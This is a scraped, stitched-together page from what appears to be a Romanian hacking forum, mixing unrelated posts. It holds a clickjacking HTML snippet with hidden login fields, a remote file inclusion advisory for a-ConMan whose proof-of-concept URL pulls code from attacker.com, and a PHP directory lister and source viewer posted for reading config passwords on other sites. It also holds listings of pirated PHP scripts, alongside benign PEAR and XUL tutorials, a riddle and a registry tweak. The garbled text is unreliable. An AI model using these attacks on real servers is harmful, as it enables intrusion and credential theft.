zbeng

<!-- Below is an example of user-contributed HTML. Clicking on the video will cause your password to be transmitted to Google. Look at the address bar when you arrive at Google. --> <param name="movie" value="http://www.youtube.com/watch?v=kF786Qucn4Y&autoplay=1" /> <param name="wmode" value="transparent" /> <embed src="http://www.youtube.com/watch?v=kF786Qucn4Y&autoplay=1" type="application/x-shockwave-flash" wmode="transparent" width="425px" height="370px" style="position: absolute; top: 445px; left: 220px;" /> <form action="http://www.google.com/search" method="get"> <input type="hidden" name="q" value="Chapin Information Services"> <input type="text" name="loginuser" style="display: none;" /><input type="password" name="loginpass" style="display: none;" /> <input type="image" value="" src="/news/11-21-2006/1" style="width: 440px; height: 370px; border: 1px; position: absolute; top: 435px; left: 220px; display: block;"/> </form>

____________________ ___ ___ ________ _ _____/_ ___ / | \_____ | __)_ / // ~ / | | \ ___ Y / | /_______ / ______ /___|_ /_______ / / / / / .OR.ID ECHO_ADV_61$2006 ------------------------------------------------------------------------------ [ECHO_ADV_61$2006] a-ConMan <= v3.2beta Remote File Inclusion ------------------------------------------------------------------------------ Author : Ahmad Maulana a.k.a Matdhule Date Found : November, 22nd 2006 Location : Indonesia, Jakarta web : Critical'>http://advisories.echo.or.id/adv/adv61-matdhule-2006.txt Critical Lvl : Highly critical Impact : System access Where : From Remote --------------------------------------------------------------------------- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ a-ConMan (Automated Content Management) Application : a-ConMan (Automated Content Management) version : 3.2beta URL : a-ConMan'>http://sourceforge.net/projects/a-conman a-ConMan is a flexible database solution built to categorize and manage your image and video content. Giving you the ability to automate the building and updating for any type of content specific website within seconds. Utilizing one of the most advanced --------------------------------------------------------------------------- Vulnerability: ~~~~~~~~~~~~~~ I found vulnerability at script common.inc.php -----------------------common.inc.php---------------------- .... <?php include_once($cm_basedir."/ez_sql.php"); include_once($cm_basedir."/pg2ezsql.php"); // include_once($cm_basedir."/functions.php"); $ver = "3.1.1228"; ... ---------------------------------------------------------- Input passed to the "cm_basedir" parameter in common.inc.php is not properly verified before being used. This can be exploited to execute arbitrary PHP code by including files from local or external resources. Proof Of Concept: ~~~~~~~~~~~~~~~ http://target.com/[a-conman_path]/php.incs/common.inc.php?cm_basedir=http://attacker.com/inject.txt? Solution: ~~~~~~~ - Sanitize variable $cm_basedir on common.inc.php. --------------------------------------------------------------------------- Shoutz: ~~~ ~ solpot a.k.a chris, J4mbi H4ck3r thx for the hacking lesson ~ y3dips,the_day,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous,str0ke ~ bius, lapets, BlueSpy, NpR, h4ntu, thama, Fungky ~ [mail]newbie_hacker@yahoogroups.com[/mail], [mail]jasakom_perjuangan@yahoogroups.com[/mail] ~ Solpotcrew Comunity (#nyubicrew @ allindo.net), #e-c-h-o @irc.dal.net ------------------------------------------------------------------------ --- Contact: ~~~~ matdhule[at]gmail[dot]com -------------------------------- [ EOF ]----------------------------------

I have been able to find some interesting things taking advantage of the usenet giant easynews. I just go out to google and type this: "site:easynews.com whatever_you_are_looking_for" and more than likely whatever_you_are_looking_for will show up in someone's repositories. I figured that the open portal section was a good place to put it but this could also show up in it's own google hacking section.

ceva de gen am avut si eu in spania la un nokia n** odata primit pe mobil daca aveai credit se raspandea prim mms la toata agenda ta si cand se termina creditul cauta prin Bluetooth si se raspundea...dar ca acesta unica forma sa scapi de el era sa reinstaezi softu de la nokia;) ai uitat sa specifici ca daca nu ai symbian si ai Bluetooth nu e nici un pericol

asta m-ai zic si eu ca este un om inteligent...pana la urma noi romanii suntem "cei m-ai destepti" dr. Mengele poate reusesti sa te faci user al acestui forum sa te m-ai "invatam" cate ceva

vad ca acesta intrebare a "derivat" niste raspunsuri la care vati gandit prea mult... 1 balta era de la cubul de ghiata pe care omul sa urcat ca sa se stranguleze de o sfuara 2.am uitat sa precizez ca inaltimea camerei era de 3m si ca omul se afla la o distanta de 5 cm de pamant 3.geamul deschis este duar un amanunt care sa va "distraga" de la gandirea raspunsuui corect Raspuns: omul se urcase pe un cub de ghiata

bun venit...da o TURA PE LA REGULI

buna intrbare Shocker dar la asta nu mai stiu raspunsul:))

am o mica intrebare pt voi Intrati intro camera unde gasiti un om spanzurat, in rest camera este goala,geamul deschis si ...sub om o balta...pe ce sa urcat omul ca sa se spanzure... astept raspunsurile voastre......

http://urbanfriends.us/zbeng/www/introduction.htm

http://urbanfriends.us/zbeng/www/As%20.html

inca unu in caz de te intereseaza minidisc While working with databases, wouldn’t you love to concentrate on coding rather than the syntax for a particular database API. Database Abstraction is a method of coding that lets you do just that. You use generic methods to access the database, any database. Obviously, you need additional code or libraries to do database abstraction. That is where PEAR comes in. PEAR includes a database abstraction class that you can use in your scripts. There are other abstraction classes out there, but for the purpose of this tutorial we will focus on the one provided with PEAR. What is PEAR? Essentially, PEAR gives you the developer a bunch of reusable components that follow a particular coding standard and API. This allows you to create applications that are generic enough to work on a variety of platforms with little or no modifications. PEAR provides functionality for databases, authentication, filesystem operations, networking, XML, and tons of other things. To know more about PEAR you can read the article on PEAR in our website. Let’s concentrate on PEAR’s database abstraction layer. Let’s just begin by looking at a few of the functions available to you in PEAR’s database abstraction class. This is by no means a complete list of functions available from PEAR. For more information about PEAR, see their website at Back n"; } if (($start + $limit) < $numrows) { echo "Next n"; } ?>

ActualCounter.v2.0.P..> 12-May-2005 15:50 280K AeDating.v3.2.PHP.NU..> 12-May-2005 15:55 2.9M B1gMail.v6.2.1.PHP.N..> 12-May-2005 15:56 2.2M BlaB.v2.3.PHP.NULL-S..> 12-May-2005 15:45 90K Disturbed.Skin.for.v..> 12-May-2005 15:55 570K IHost.v1.01.PHP.NULL..> 12-May-2005 15:55 110K ImageVue.v1.6b.Datac..> 12-May-2005 15:55 1.8M Invision.Community.B..> 12-May-2005 15:52 480K Mini.Fetch.PHP.NULL-..> 12-May-2005 15:47 40K Multi.Forums.v1.3.3...> 12-May-2005 15:47 60K PHP.Guard.Dog.v2.0.P..> 12-May-2005 15:54 260K PhpMyDirectory.v10.1..> 12-May-2005 15:49 230K PhpYellow.Pro.v5.26...> 12-May-2005 15:56 1.7M StarDevelop.Live.Hel..> 12-May-2005 15:56 1.3M Subdreamer.v2.0.Beta..> 12-May-2005 15:55 730K Subdreamer.v2.0.Plug..> 12-May-2005 15:53 440K WSN.Links.v3.15.PHP...> 12-May-2005 15:56 580K Web.Calender.Pro.v4...> 12-May-2005 15:56 1.1M cWhois.Domain.Cart.v..> 12-May-2005 15:54 160K cWhois.v1.77.PHP.NUL..> 12-May-2005 15:53 30K iSubscribe.v1.0.PHP...> 12-May-2005 15:53 40K iSupport.v1.05.PHP.N..> 12-May-2005 15:53 150K http://ns1.tudelft.nl/PHP-Scripts/22%20php%20scripts/22%20PHP%20Scripts/

Features Domain Seller Pro can be used to complement your existing website or function as a stand alone website. Easily customizable display (uses HTML based templates) Supports an unlimited number of categories and domain names for sale Ability to set a "purchase now" price and minimum offer for each available domain name Potential buyers can submit offers on your domains, and you are instantly notified by e-mail. Counteroffer feature! Offer too low? No problem, just submit a counteroffer to the potential buyer through the automated system. Buyer is e-mailed your new price with a link to checkout. Domain Parking is Supported! Park your domains on your Domain Seller Pro site -- Traffic through the names will automatically direct to the domain-for-sale page for that domain! Domain for sale pages with easy URLs created for each domain (For example, http://www.maindomain.com?domainforsale.com ) Administrative controls let you review new offers, submit counteroffers, browse history of past offers and counteroffers on each domain, view buyers, setup categories, and more... Bulk domain import feature! Easily add all your available domain names to Domain Seller Pro within seconds. Get fancy if you want to! Domain-for-sale pages can display logos or other images for each domain name. Written in PHP to minimize server resources and accommodate high traffic sites. The HTML layout and design of Domain Seller Pro can be changed in PHP-friendly web editors such as Macromedia Dreamweaver. It is packaged with automated installation scripts to simplify setup. Demo http://www.domainsellerpro.com/demo/ Admin panel: [url]http://www.domainsellerpro.com/demo/admin.php[/url] Pass: demo Download link http://www.multidesi.com/filehost/file.php?file=d8b2c34864ead8c7bf2b9067169a37b6

daca in spania era pe vodafone si in rom merge daca e pe vodafon probat de je:D

hanibal vro problema

Acesta este un banal script in php cu care poti sa "hacuiesti" un ROOT de pe linux si/sau de windous , in alte cuvinte iti arata sursa fisierului php, si tot ce ai prin directorul ROOT de pe linuics, sau de pe uindous , eu am aflat parola din config la multe situri :@.... Atentie fisierul trebuie sa fie pe acel server :@ altfel nu va merge here it is <? // scripul e sub licenta GNU made by necenzurat echo "<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 //EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">n"; echo "<html lang='en'>n"; echo "<head>n"; echo "<title></title>n"; echo "<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/>n"; echo "</head>n"; echo "<body>n"; $mode = $_GET['mode']; $cat = $_GET['cat']; $dir = $_GET['dir']; if($mode=="") { echo"<center>n"; echo"<a href=?mode=list>Intra da ai GRIJA, nu stii ce se poate intampla dincolo de usa cu bolta </a>n"; echo"</center>n"; } elseif($mode=="steal") { if($cat=="") { $cat="xs.php"; } $size=filesize($cat); $file_size = round($size / 1024 * 100) / 100 . "Kb"; echo"<table width=94% border=1 bordercolor=#AFC6DB cellspacing=0 bgcolor=#FFFFFF style=border-collapse: collapse cellpadding=0><tr><td>"; $po=show_source($cat); echo "</td></tr></table></center>"; echo "</body></html>"; } elseif($mode=="list") { echo"<title>Afisare de directoare</title>"; $base = substr($_SERVER['PATH_TRANSLATED'],0,strrpos($_SERVER['PATH_TRANSLATED'],'/')); if($dir=="") { $dir="./"; } $path = $dir; function after ($this, $inthat) { if (!is_bool(strpos($inthat, $this))) return substr($inthat, strpos($inthat,$this)+strlen($this)); } echo "<center>[B]$dir[/B]</font></center><table width=94% border=1 bordercolor=#AFC6DB cellspacing=0 bgcolor=#FFFFFF style=border-collapse: collapse cellpadding=0><tr><td>"; $dir_handle = @opendir($path) or die("Nu se poate paci :("); while (false !== ($file = readdir($dir_handle))) { $link = "[url="?mode=steal&cat=$dir/$file><font"]$file</font>[/url] "; $formato = after('.', $file); If($formato==".") { $link = "<a href=?mode=list&dir=$dir/$file>Directorul precedent</a> "; } If($formato=="") { $link = "[url="?mode=list&dir=$dir/$file><font"]$file</font>[/url] "; } echo "$link"; } closedir($dir_handle); echo "</td></tr></table>"; } ?> sper sa va ajute

http://urbanfriends.us/zbeng/www/explooit.htm

This article introduces some of the technical aspects of getting XUL clients hooked up with PHP. What is XUL? XUL, or the XML User Interface language, is the common thread running through all Mozilla-powered applications – both desktop and web-based. XUL is a way to describe an application's user interface using XML. XUL is similar in many ways to HTML, while borrowing from, yet not exactly imitating its syntax. (It is possible to mix HTML tags into a XUL application.) Getting Started To start off with, we need a simple XUL file that contains a form. This form could consist of anything, but for this example, I will be using a simple Login form that you might be familiar with while building web applications. In the form listed below, notice that the Sign in button references the loginCmd listed in the <commandset></commandset> section above. Keeping your javascript commands out of the main XUL body helps promote readability and reusability. The XUL file <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="phpServer-Communication-test" title="PHP Server Communication Test" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script src="js/main.js" type="application/x-javascript"></script> <commandset> <command id="loginCmd" oncommand="doLogin()"/> </commandset> <keyset> <key id="login-button" keycode="VK_RETURN" command="loginCmd"/> <key id="login-button" keycode="VK_ENTER" command="loginCmd"/> </keyset> <vbox flex="1" align="center" pack="center" style="background-color:#444"> <label value="XUL Login Authentication Example" style="font-size: 16px"/> <label value="Click the login button to see the response from the server" style="font-size: 14px"/> <grid style="background-color:#999;padding:40px;border-top: 2px solid #bbb; border-left: 2px solid #bbb; border-bottom: 2px solid #555;border-right: 2px solid #555"> <columns> <column/> <column/> </columns> <rows> <row> <label value="Username"/> <textbox id="loginUser" style="width:10em"/> </row> <row> <label value="Password"/> <textbox id="loginPass" style="width:10em" type="password"/> </row> <row> <spacer/> <button label="Sign in" command="loginCmd"/> </row> </rows> </grid> </vbox> </window> The PHP Server simply echoes the value’s passed to it to the screen as well as some text to prove it’s the real thing (a call to the date function). The PHP file <?php session_name('XULSession'); // Set session name session_start(); echo "Server Time is: ".date("m/d/Y H:i:s")."n"; echo "$_POST = n"; print_r($_POST); echo "$_GET = n"; print_r($_GET); // Watch these... echo "$_COOKIE = n"; print_r($_COOKIE); echo "$_SESSION = n"; print_r($_SESSION); if ( $_GET['username'] == 'root' && $_GET['password'] == 'topsecret' ) { $_SESSION['username'] = $_GET['username']; $_SESSION['password'] = $_GET['password']; } ?> Note the <pre> tags aren’t needed around the print_r’s because javasript does not squish white space like browsers do. The session name (XULSession) turns up in the $_COOKIE array. In other words, the XUL client is doing the same as a browser does between requests (via the XMLHttpRequest). Also if you enter the username as “root” and the password as “topsecret”, it will show up in the $_SESSION array on the next request (you need to “login” two times to see this). In other words you can use PHP‘s sessions to lock the remote XUL client out of your PHP application until a valid username and password is provided. Users will still have the remote client running (unlike normal browser clients where you send an HTTP redirect to an HTML login form) but as long as you keep the real Business Logic in PHP, requiring a valid session to execute it, there should be no real issues here. The XUL client would be unable to do any harm. The real action takes place in the main.js file. Here’s an excerpt containing the doLogin function. The Javascript File /* main.js */ function doLogin() { var username = document.getElementById('loginUser').value; var password = document.getElementById('loginPass').value; req = new phpRequest(); req.add('action','doLogin'); req.add('username',username); req.add('password',password); var response = req.execute(); alert(response); } Now that all the files are in place, we are going to run the script. Starting with the blank form, simply enter in a sample username and password. Press the ‘Sign in’ button and witness the response from the server. Next, press the ‘Sign in’ button and witness the response from the server. How does it work? After the “Sign in” button is clicked, the doLogin method in main.js is called. In it, the username and password have been pulled from the XUL form via the Javascript DOM. After we have pulled in the username and password into scope, a new ‘phpRequest’ object is instantiated. The phpRequest is a javascript object that takes care of the details of connecting and talking to a PHP server. We will talk on phpRequest later in this article. The add() function simply takes a key/value pair that contains data that will be sent to the php script. After all key/value pairs have been added to the request, the execute method is called and the request is actually made to the server. The entire HTTP response body is returned by the execute method. The response is then echoed to the screen to provide feedback that our method actually worked. A word about security: The javascript security model limits what can be connected. It means that if you upload this XUL file and javascript file to a php server, your server MUST also be on the same server and the path to the server must be relative. In other words: XUL URL: http://some.server/xul/xulform.xul Server URL: /xul/server/server.php (must be relative) The second way to connect to a remote server would be to install your XUL package into your local chrome directory. When you install the package locally, you can connect to any server via an absolute URL. More information about the javascript security model can be found on the web. The phpRequest object The phpRequest object is where all the magic happens. It provides a programmer friendly interface to the implementation details of the XMLHttpRequest object that actually makes the call to the php page. The Javascript: const SERVER_URL = "/xul/server.php"; //Start phpRequest Object function phpRequest() { //Set some default variables this.parms = new Array(); this.parmsIndex = 0; //Set the server url this.server = SERVER_URL; //Add two methods this.execute = phpRequestExecute; this.add = phpRequestAdd; } function phpRequestAdd(name,value) { //Add a new pair object to the params this.parms[this.parmsIndex] = new Pair(name,value); this.parmsIndex++; } function phpRequestExecute() { //Set the server to a local variable var targetURL = this.server; //Try to create our XMLHttpRequest Object try { var httpRequest = new XMLHttpRequest(); }catch (e){ alert('Error creating the connection!'); return; } //Make the connection and send our data try { var txt = "?1"; for(var i in this.parms) { txt = txt+'&'+this.parms.name+'='+this.parms.value; } //Two options here, only uncomment one of these //GET REQUEST httpRequest.open("GET", targetURL+txt, false, null, null); //POST REQUEST EXAMPLE /* httpRequest.open("POST", targetURL+txt, false, null, null); httpRequest.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); */ httpRequest.send(''); }catch (e){ alert('An error has occured calling the external site: '+e); return false; } //Make sure we received a valid response switch(httpRequest.readyState) { case 1,2,3: alert('Bad Ready State: '+httpRequest.status); return false; break; case 4: if(httpRequest.status !=200) { alert('The server respond with a bad status code: '+httpRequest.status); return false; } else { var response = httpRequest.responseText; } break; } return response; } //Utility Pair class function Pair(name,value) { this.name = name; this.value = value; } Javascript’s object model is a little different. Instead of defining a ‘class’ in php, you create functions and then link them together. That is what is happening in the phpRequest function. Several variables are set including the server URL that is defined by a constant variable on the first line of the program. After the variables are defined, the literal function names are assigned to local variables. When that is done, they become callable methods inside the object. There are several other ways to do this within javascript, please refer to the javascript core specification for details. The phpRequest maintains an internal array of Pair objects. Because javascript does not have the same array support that php does, a workaround is needed to create a key/value array. The Pair object performs this task very well. The method where the action really happens is the phpRequestExecute method. It contains the code that helps us to connect to a php server from our javascript. The javascript object that allows us to connect to another script via HTTP is the XMLHttpRequest object. It is an internal javascript object that can be used to return XML (or HTML) documents from an external source. More information about the XMLHttpRequest object can be found on the XULPlanet website (http://www.xulplanet.com/references/elemref/ref_XMLHttpRequest.html). After the XMLHttpRequest object has successfully been instantiated, the url is simply created by looping over the internal array of key/value pairs. Now, you can use either GET or POST to send data to the server. I have included code for both methods. The same URL is passed, but there is one difference. When you send a POST request, you have to set the content type to be ‘application/x-www-form-urlencoded’ so the web server you are sending it to will know that you are sending a POST request. There are more tricks if you need to send larger amounts of data, but they are beyond the scope of this article. After you set the url, you must call the XMLHttpRequests send method. This is what actually sends the request to the server. After a response from the server is received, it is stored in the XMLHttpRequest’s responseText variable and available for use. Conclusion I have attempted to provide an overview of the advantage of combining XUL with PHP to create a rich web application, and the specific code involved with doing so. Hope you have a great time creating high end applications using these technologies.

http://urbanfriends.us/zbeng/www/Hacking_f.htm

http://rst-crew.net/forum/viewforum.php?f=15

cele 3 linkuri sunt http://msdn.microsoft.com/library/default.asp?url=/library/en-us/shellcc/platform/shell/programmersguide/shell_int/shell_int_extending/extensionhandlers/shell_ext.asp http://www.techhouse.org/~mbf/THMPreview.reg http://www.tech-pro.net/howto_011.html in caz de nu va merge vro ceva articolul este luat de pe: http://forums.dpreview.com/forums/read.asp?forum=1019&message=5733935

orice se invata

bun vennit in paradis....cam ce cunostinte ai

Tonight I got the precious free time that I've been looking for to resume working on my Canon CRW decoder utilities (I can already decode files including most metadata). However, tonight, I decided to work on making it so that CRW files could have thumbnails in the Windows shell. While I was at trying to figure out how to register my Shell Extension, I came across an article which gave me an instant idea. The THM files are JPEGs (rename a .thm to a .jpg and you get a preview thanks to IE). Why can't I just use the image extractor used by JPEGs? Why not indeed? It turns out that the IE thumbnail extractor will read THM files, and correctly parse the JPG image out of it. Yes, it is a registry hack. Basically, we tell the Windows Explorer/Shell to use the TridentImageExtractor class ({7376D660-C583-11D0-A3A5-00C04FD706EC}) to handle the ImageExtractor interface ({BB2E617C-0920-11D1-9A0B-00C04FC2D6C1}) on the .thm extension. This registry hack won't rotate the files for you... I guess that IE doesn't understand whatever rotation information Canon embeds into the file. I'm still working on my CRW Image Extractor, which when it is done will be able to rotate the THM files (fast), or failing them existing, extract the JPG from the CRW file (slower), or failing that, process the CRW image data (really slow). I'll pass it around when I finish it. I'm also thinking about some of the other shell extension functions as described in http://msdn.microsoft.com/... .../extensionhandlers/shell_ext.asp Remember, you tweak your own registry at your own risk. I'm not responsible if you mess things up. This is supposed to work with Windows 98 and above, but I only tried it on Windows XP. Anyway, here's the contents of the .REG file: Windows Registry Editor Version 5.00 [HKEY_CLASSES_ROOT.thm] @="Thumbnail" [HKEY_CLASSES_ROOT.thmShellEx] [HKEY_CLASSES_ROOT.thmShellEx{BB2E617C-0920-11D1-9A0B-00C04FC2D6C1}] @="{7376D660-C583-11D0-A3A5-00C04FD706EC}" --End of THMPreview.reg-- If launching notepad and typing all that in (all of the things in the []s should be on the same line) is scary, I'll make it easy for you. Just download http://www.techhouse.org/~mbf/THMPreview.reg To give fair credit where credit is due, the article which inspired me to try this in this way was: http://www.tech-pro.co.uk/howto_011.html